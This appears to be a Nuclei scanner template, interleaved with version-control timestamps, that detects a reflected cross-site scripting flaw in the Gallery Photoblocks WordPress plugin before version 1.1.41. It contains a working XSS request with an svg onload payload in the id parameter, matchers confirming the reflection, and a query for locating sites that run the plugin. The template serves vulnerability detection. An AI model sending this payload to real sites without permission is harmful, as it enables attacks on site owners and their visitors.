2023-10-17 07:20:28 +00:00
id : photoblocks-grid-gallery-xss
info :
name : Gallery Photoblocks < 1.1.41 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
Reflected Cross-Site Scripting (XSS) is a type of web vulnerability where an attacker injects malicious scripts into a website, and the injected code gets reflected back to the user's browser, executing the script in the context of the vulnerable website.
remediation : Fixed in version 1.1.41
reference :
- https://plugins.trac.wordpress.org/changeset/2117972
- https://wpscan.com/vulnerability/5c57e78a-97b9-4e23-8935-e4c9d806c89d
- https://wordpress.org/plugins/photoblocks-grid-gallery/
2024-09-10 09:08:16 +00:00
classification :
cpe : cpe:2.3:a:wpchill:gallery_photoblocks:*:*:*:*:wordpress:*:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 1
2024-09-10 08:22:50 +00:00
vendor : wpchill
2024-09-10 09:08:16 +00:00
product : gallery_photoblocks
publicwww-query : "/wp-content/plugins/photoblocks-grid-gallery/"
2023-10-17 07:20:28 +00:00
tags : wordpress,wpscan,photoblocks,wp-plugin,wp,xss
http :
- raw :
- |
GET /wp-content/plugins/photoblocks-grid-gallery/admin/partials/photoblocks-edit.php?id=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<svg/onload=alert(document.domain)>")'
2023-10-17 08:16:05 +00:00
- 'contains(body, "PhotoBlocks")'
2023-10-17 07:20:28 +00:00
condition : and
2023-10-20 11:41:13 +00:00
2024-09-10 09:08:16 +00:00
# digest: 4a0a00473045022100e25d0c3f2b8523d249ea8a1fcf6aa3cb5352dde3741a6d1d98af45fbc385795002206e778ddccd1913d8f33ffe208083c9d0913d0952757b3d3e7f3a52afd8e89deb:922c64590222798bb761d5b6d8e72950